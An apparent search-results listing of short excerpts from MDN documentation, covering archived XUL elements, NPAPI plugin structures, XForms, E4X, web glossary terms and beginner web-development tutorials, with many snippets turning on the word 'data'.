properties accessibletype examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width pr...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getele...
...mentsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbox interfaces nsiaccessibleprovider ...
toolbox - Archive of obsolete content
<toolbar> <toolbarbutton label="stop"/> <toolbarbutton label="reload"/> </toolbar> </toolbox> <textbox multiline="true" value="we have two toolbars inside of one toolbox above." width="20"/> </window> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
...ods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata appendcustomtoolbar( name, currentset ) firefox only return type: element adds a custom toolbar to the toolbox with the given name.
treechildren - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata example <tree flex="1"> <treecols> <treecol id="sender" label="sender" flex="1"/> <treecol id="subject" label="subject" flex="2"/> </treecols> <treechildren> <treeitem> <treerow> <treecell label="joe@somewhere.com"/> <treecell label="top secret plans"/> </treerow> </treeitem> <t...
treecols - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), ...
...getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements tree, treecol, treechildren, treeitem, treerow, treecell and treeseparator.
treeitem - Archive of obsolete content
elements that appear inside the element with the attribute will be repeated for each node in the rdf datasource.
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), gete...
...lementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements tree, treecols, treecol, treechildren, treerow, treecell and treeseparator.
treerow - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements tree, treecols, treecol, treechildren, treeitem, treecell and treeseparator.
treeseparator - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements tree, treecols, treecol, treechildren, treeitem, treerow and treecell.
triple - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
vbox - Archive of obsolete content
ArchiveMozillaXULvbox
example <!-- two labels at bottom --> <vbox> <spacer flex="1"/> <label value="one"/> <label value="two"/> </vbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements box, hbox ...
where - Archive of obsolete content
ArchiveMozillaXULwhere
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
XULRunner Hall of Fame - Archive of obsolete content
sqlite manager manage all your sqlite databases using this lightweight extension for firefox, thunderbird, seamonkey, songbird, komodo etc.
...build instructions kirix strata a new specialty browser for accessing and manipulating data from the web telekast an open source teleprompter and script editor.
...an updated version of "mybrowser" that works with firefox 25.0.1+ is available in matthew kastor's xulrunner examples at https://github.com/matthewkastor/xulrunner-examples/ exch a currency conversion tool using updated data from http://finance.yahoo.com/currency.
XUL Application Packaging - Archive of obsolete content
application.ini the application.ini manifest is located at the root of the extension and provides metadata that allows xulrunner to launch the application properly.
...the [app] section the app section specifies metadata about the application name specifies the application name.
... example: id=testapplication@example.tld vendor specifies the application vendor optional example: vendor=grinch productions profile specifies the path to use for the application's profile, based within the user's application data directory optional example: profile=myappdata the [gecko] section the gecko section specifies what version of xulrunner is required by the application.
NPAnyCallbackStruct - Archive of obsolete content
syntax typedef struct { int32 type; } npanycallbackstruct; fields the data structure has the following field: type always contains np_print.
...this structure contains the file pointer to which the plug-in should write its postscript data.
...when the plug-in is done, it should leave the file open, as the browser can continue to write additional postscript data to the file.
NPEvent - Archive of obsolete content
ax microsoft windows typedef struct _npevent { uint16 event; uint32 wparam; uint32 lparam; } npevent; mac os typedef eventrecord npevent; type eventrecord = record { what: integer; message: longint; when: longint; where: point; modifiers: integer; end; xwindows typedef xevent npevent; fields npevent on microsoft windows the data structure has the following fields: event one of the following event types: wm_paint wm_lbuttondown wm_lbuttonup wm_lbuttondblclk wm_rbuttondown wm_rbuttonup wm_rbuttondblclk wm_mbuttondown wm_mbuttonup wm_mbuttondblclk wm_mousemove wm_keyup wm_keydown wm_setcursor wm_setfocus wm_killfocus for information about these events, see the microsoft windows developer documentation.
... eventrecord npevent on mac os npevent is defined as an eventrecord data structure, which has the following fields: what integer representing an event type.
... xevent npevent on unix/x11 npevent is defined as an xevent data structure, which is a union of a number of different x11 event structures.
NPN_MemAlloc - Archive of obsolete content
if you allocate saved instance data with npp_destroy, be sure to use npn_memalloc to allocate memory.
... this ensures that the browser can free the saved data at a later time with the equivalent of npn_memfree.
... mac os npn_memalloc is particularly important on mac os, since the mac os version of the browser frequently fills its memory partition with cached data that is only purged as necessary.
NPP - Archive of obsolete content
syntax typedef struct _npp { void* pdata; /* plug-in private data */ void* ndata; /* mozilla private data */ } npp_t; typedef npp_t* npp; fields the data structure has the following fields: pdata a value, whose definition is up to the plug-in, that the plug-in can use to store a pointer to an internal data structure associated with the instance; this field isn't modified by the browser.
... ndata a private value, owned by the browser, which is used to store data associated with the instance; this value should not be modified by the plug-in.
...npp contains private instance data for both the plug-in and the browser.
NPP_DestroyStream - Archive of obsolete content
values: npres_done (most common): completed normally; all data was sent to the instance.
... description the browser calls the npp_destroystream function when a data stream sent to the plug-in is finished, either because it has completed successfully or terminated abnormally.
... you should delete any private data allocated in stream->pdata at this time, and should not make any further references to the stream object.
NPP_StreamAsFile - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary provides a local file name for the data from a stream.
...if an error occurs while retrieving the data or writing the file, fname may be null.
... if an error occurs while retrieving the data or writing the file, the file name (fname) is null.
NPP_URLNotify - Archive of obsolete content
syntax #include <npapi.h> void npp_urlnotify(npp instance, const char* url, npreason reason, void* notifydata); parameters the function has the following parameters: instance pointer to the current plug-in instance.
... notifydata plug-in-private value for associating a previous npn_geturlnotify() or npn_posturlnotify() request with a subsequent npp_urlnotify() call.
... the parameter notifydata is the plug-in-private value passed as an argument by a previous npn_geturlnotify() or npn_posturlnotify() call, and can be used as an identifier for the request.
Vulnerabilities - Archive of obsolete content
examples of settings are an operating system offering access to control lists that set the privileges that users have for files, and an application offering a setting to enable or disable the encryption of sensitive data stored by the application.
...the arp cache uses that information to provide a useful service—to enable sending data between devices within a local network.
... the organization publishes a list of top web security vulnerabilities based on the data from various security organizations.
Processing XML with E4X - Archive of obsolete content
for backwards compatibility, e4x defaults to ignoring comments and cdata sections.
...ynamic"><lang>javascript</lang><lang>python</lang></languages>'); the second is to embed the xml directly in your script, as an xml literal: var languages = <languages type="dynamic"> <lang>javascript</lang> <lang>python</lang> </languages>; in both cases, the resulting object will be an e4x xml object, which provides convenient syntax for both accessing and updating the encapsulated data.
...since a greater than sign is not escaped, it is possible to get an xml error if the cdata closing sequence (]]>) is included.
XForms Alert Element - Archive of obsolete content
introduction this message will be shown when the form control cannot properly bind to instance data or when the instance data value is invalid or out of the specified range of selectable values (see the spec).
... the message of the alert element can exist in instance data, in a remote document, or as inline text.
... examples <xforms:model> <xforms:instance> <data xmlns=""> <x>10</x> </data> </xforms:instance> <xforms:bind id="x" nodeset="x" type="xsd:integer"/> </xforms:model> <style> @namespace xforms url("http://www.w3.org/2002/xforms"); xforms|input:invalid xforms|alert.inline { display: inline; font-style: italic; width: 40%; } } </style> <xforms:input bind="x"> <xforms:label>you can type only numbers (validation happens on blur...
XForms Repeat Element - Archive of obsolete content
example <xforms:model id="i_model"> <xforms:instance xmlns=""> <data xmlns:html="http://www.w3.org/1999/xhtml" xmlns=""> <val id="1"> <nest>nest 1.1</nest> <nest>nest 1.2</nest> </val> <val id="2"> <nest>nest 2.1</nest> <nest>nest 2.2</nest> </val> </data> </xforms:instance> </xforms:model> <div xforms:repeat-nodeset="val"> this is the inline content, just text.
...trigger> <xf:label>r</xf:label> <xf:delete ev:event="domactivate" at="index('anonidgridrepeat')" xbl:inherits="model, bind, nodeset"/> </xf:trigger> </xf:repeat> </xbl:content> </xbl:binding> </xbl:bindings> <style> div.grid { -moz-binding: url('#grid'); } </style> <xf:model> <xf:instance> <data xmlns=""> <repeat> <item> <input>input1</input> </item> <item> <input>input2</input> </item> <item> <input>input3</input> </item> </repeat> </data> </xf:instance> </xf:model> </head> <body> <xf:repeat nodeset="/data/repeat/item" id="gridrepeat"> <xf:input ref="input"/...
...> </xf:repeat> <br/> <div class="grid" nodeset="/data/repeat/item"/> </body> ...
XForms Secret Element - Archive of obsolete content
type restrictions the secret element can be bound to a node containing simple content of any data type except xsd:base64binary, xsd:hexbinray or any data type derived from these.
...please keep in mind that the instance data will hold exactly what the user gave as input.
... any other xform control bound to that data will show that data 'as is'.
XForms Switch Module - Archive of obsolete content
attributes single-node binding type restrictions the switch element can be bound to a node containing data of any type.
... actually, the switch element doesn't interact with the data in the bound node.
...binding a switch to a data node will also set a context that the expressions contained inside the case elements can build upon.
Parsing microformats in JavaScript - Archive of obsolete content
this article examines the generic microformat parsing api, which handles the heavy lifting of pulling data out of a microformat.
... propertyvalue = microformats.parser.defaultgetter(propnode, parentnode, datatype); parameters propnode the dom node to check.
... datatype "html" if the search should be done using innerhtml(), or "text" to use innertext().
RDF in Fifty Words or Less - Archive of obsolete content
to a mozilla developer, it means that the rdf data model (the "graph") can be used as a mechanism for integrating and organizing internet resources.
... the rdf graph provides a perfect data model upon which to build a "universal" bookmarking service as described above: the graph can contain pointers to arbitrary resources and can group them in just about any way that you can imagine.
...fundamentally, it means that parts of the rdf data model can be communicated across network boundaries, and the contents of the graph can dynamically change as information arrives from a remote service.
XQuery - Archive of obsolete content
xquery is a w3c standard language which is meant to be for xml what sql is for relational data--i.e., the ability to search, sort, extract, and remold data.
...other popular native xml databases might also be supported (e.g., exist) in the future, especially now that the extension has added some basic support for the open-standard (xqj) for java and exist is in the midst of getting such an api.
... however, use of the approach of the java firefox extension might be used to turn the above extension concept into an xpcom component (giving it access to all open windows), and for berkeley db xml, possibly implementing it in c++ instead, which is that database's original language of development.
Common causes of memory leaks in extensions - Extensions
consider the following example: var myobserver = { observe: function(subject, topic, data) { window.document.documentelement.setattribute( "pbm", (data == "enter") ?
... services.obs.removeobserver(myobserver, "private-browsing"); } in javascript code modules it recommended to also observe the xpcom-shutdown or quit-application notifications and unregister your observers from that topic: var myobserver = { observe: function(subject, topic, data) { if (topic == "xpcom-shutdown") { services.obs.removeobserver(myobserver, "private-browsing"); services.obs.removeobserver(myobserver, "xpcom-shutdown"); } else { // do something with "private-browsing" } } }; services.obs.addobserver(myobserver, "private-browsing", false); services.obs.addobserver(myobserver, "xpcom-shutdown", false); finally, a lot of ser...
... the following example shows how to unload your modules again (bootstrap.js): components.utils.import("resource://gre/modules/services.jsm"); function startup(data, reason) { // this assumes your add-on did register some chrome components.utils.import("chrome://myaddon/content/mymodule.jsm"); } function shutdown(data, reason) { // no need to do regular clean up when the application is closed // unless you need to break circular references that might negatively // impact the shutdown process.
IndexedDB - MDN Web Docs Glossary: Definitions of Web-related terms
indexeddb is a web api for storing large data structures within browsers and indexing them for high-performance searching.
... like an sql-based rdbms, indexeddb is a transactional database system.
... however, it uses javascript objects rather than fixed columns tables to store data.
Primitive - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, a primitive (primitive value, primitive data type) is data that is not an object and has no methods.
... there are 6 primitive data types: string, number, bigint, boolean, undefined, and symbol.
... learn more general knowledge introduction to javascript data types primitive data type on wikipedia ...
SIMD - MDN Web Docs Glossary: Definitions of Web-related terms
simd (pronounced "sim-dee") is short for single instruction/multiple data which is one classification of computer architectures.
... simd allows one same operation to be performed on multiple data points resulting in data level parallelism and thus performance gains — for example, for 3d graphics and video processing, physics simulations or cryptography, and other domains.
... see also sisd for a sequential architecture with no parallelism in either the instructions or the data sets.
SISD - MDN Web Docs Glossary: Definitions of Web-related terms
sisd is short for single instruction/single data which is one classification of computer architectures.
... in sisd architecture, a single processor executes a single instruction and operates on a single data point in memory.
... see also simd for a parallel architecture that allows one same operation to be performed on multiple data points.
Symbol - MDN Web Docs Glossary: Definitions of Web-related terms
a value having the data type symbol can be referred to as a "symbol value".
... in some programming languages, the symbol data type is referred to as an "atom." symbols don't "auto-convert" to strings most values in javascript support implicit conversion to a string.
... the method symbol.for(tokenstring) returns a symbol value from the registry, and symbol.keyfor(symbolvalue) returns a token string from the registry; each is the other's inverse, so the following is true: symbol.keyfor(symbol.for("tokenstring")) === "tokenstring" // true learn more general knowledge symbol (programming) on wikipedia javascript data types and data structures symbols in ecmascript 6 symbol in the mdn js reference object.getownpropertysymbols() ...
TCP slow start - MDN Web Docs Glossary: Definitions of Web-related terms
to implement tcp slow start, the congestion window (cwnd) sets an upper limit on the amount of data a source can transmit over the network before receiving an acknowledgment (ack).
...when a new connection is made, cwnd is initialized to one tcp data or acknowledgment packet, and waits for an acknowledgement, or ack.
...the server sends data in tcp packets, the user's client then confirms delivery by returning acknoledgements, or acks.
Property (JavaScript) - MDN Web Docs Glossary: Definitions of Web-related terms
a javascript property is a characteristic of an object, often describing attributes associated with a data structure.
... there are two kinds of properties: instance properties hold data that are specific to a given object instance.
... static properties hold data that are shared among all object instances.
CSS and JavaScript accessibility best practices - Learn web development
form elements elements to allow users to input data into websites: <div> <label for="name">enter your name</label> <input type="text" id="name" name="name"> </div> you can see some good example css in our form-css.html example (see it live also).
... tables tables for presenting tabular data.
... good example uses of unobtrusive javascript include: providing client-side form validation, which alerts users to problems with their form entries quickly, without having to wait for the server to check the data.
Debugging CSS - Learn web development
the below table shows the compat data for the shape-outside property.
... no compatibility data found.
... please contribute data for "css.shape-outside" (depth: 1) to the mdn compatibility data repository.
Overflowing content - Learn web development
css tries to avoid "data loss" let's consider two examples that demonstrate the default behavior of css when there is overflow.
...this would cause data loss.
... the problem with data loss is that you might not notice.
Styling tables - Learn web development
we've set some padding on the <th> and <td> elements — this gives the data items some space to breathe, making the table look a lot more legible.
... we've right-aligned the heading inside the <tfoot> so that it is visually associated better with its data point.
... zebra striping we wanted to dedicate a separate section to showing you how to implement zebra stripes — alternating rows of color that make the different data rows in your table easier to parse and read.
What is a Domain Name? - Learn web development
on the other hand, let's see if i could register afunkydomainname.org: $ whois afunkydomainname.org not found as you can see, the domain does not exist in the whois database (at the time of writing), so we could ask to register it.
... dns refreshing dns databases are stored on every dns server worldwide, and all these servers refer to a few special servers called “authoritative name servers” or “top-level dns servers.” — these are like the boss servers that manage the system.
... whenever your registrar creates or updates any information for a given domain, the information must be refreshed in every dns database.
How to build custom form controls - Learn web development
--> <ul class="optlist"> <!-- each option only contains the value to be displayed, we'll see later how to handle the real value that will be sent with the form data --> <li class="option">cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> note the use of class names; these identify each relevant part regardless of the actual underlying html elements used.
...there is a benefit to having this "extra" select even if our javascript works as hoped: we will use this select to send data from our custom control along with the rest of our form data.
... live example check out the source code handling the control's value now that our control is working, we have to add code to update its value according to user input and make it possible to send the value along with form data.
The web and web standards - Learn web development
one last significant data point to share is that in 1994, timbl founded the world wide web consortium (w3c), an organization that brings together representatives from many different technology companies to work together on the creation of web technology specifications.
...a typical use for a server-side language is to get some data out of a database and generate some html to contain the data, before then sending the html over to the browser to display it to the user.
...privacy refers to allowing people to go about their business privately and not spying on them or collecting more of their data than you absolutely need to.
HTML Tables - Learn web development
LearnHTMLTables
a very common task in html is structuring tabular data, and it has a number of elements and attributes for just this purpose.
...this module takes you through all you need to know about structuring tabular data using html.
... assessments structuring planet data in our table assessment, we provide you with some data on the planets in our solar system, and get you to structure it into an html table.
Graceful asynchronous programming with Promises - Learn web development
in many cases, it makes sense to receive all the data and only then show the complete content, rather than displaying partial information.
...instead, what we want is the loaded data.
...this takes the indexeddb api, which is an old-style callback-based api for storing and retrieving data on the client-side, and allows you to use it with promises.
Manipulating documents - Learn web development
using methods available on this object you can do things like return the window's size (see window.innerwidth and window.innerheight), manipulate the document loaded into that window, store data specific to that document on the client-side (for example using a local database or other storage mechanism), attach an event handler to the current window, and more.
... active learning: getting useful information from the window object so far we've only really looked at using node and document features to manipulate documents, but there is no reason why you can't get data from other sources and use it in your ui.
... you just have to make sure your data is in the right format; javascript makes it easier than many other languages, being weakly typed — for example numbers will convert to strings automatically when you want to print them to the screen.
Server-side website programming - Learn web development
most major websites use some kind of server-side technology to dynamically display data as required.
...displaying all of these using different static pages would be extremely inefficient, so instead such sites display static templates (built using html, css, and javascript), and then dynamically update the data displayed inside those templates when needed, such as when you want to view a different product on amazon.
... learning pathway getting started with server-side programming is usually easier than client-side development, because dynamic websites tend to perform a lot of very similar operations (retrieving data from a database and displaying it in a page, validating user-entered data and saving it in a database, checking user permissions and logging users in, etc.), and are constructed using web frameworks that make these and other common web server operations easy.
Getting started with React - Learn web development
your final index.js file should look like this: import react from 'react'; import reactdom from 'react-dom'; import './index.css'; import app from './app'; reactdom.render(<app />, document.getelementbyid('root')); variables and props next, we'll use a few of our javascript skills to get a bit more comfortable editing components and working with data in react.
... we'll talk about how variables are used inside jsx, and introduce props, which are a way of passing data into a component (which can then be accessed using variables).
... component props a prop is any data passed into a react component.
React resources - Learn web development
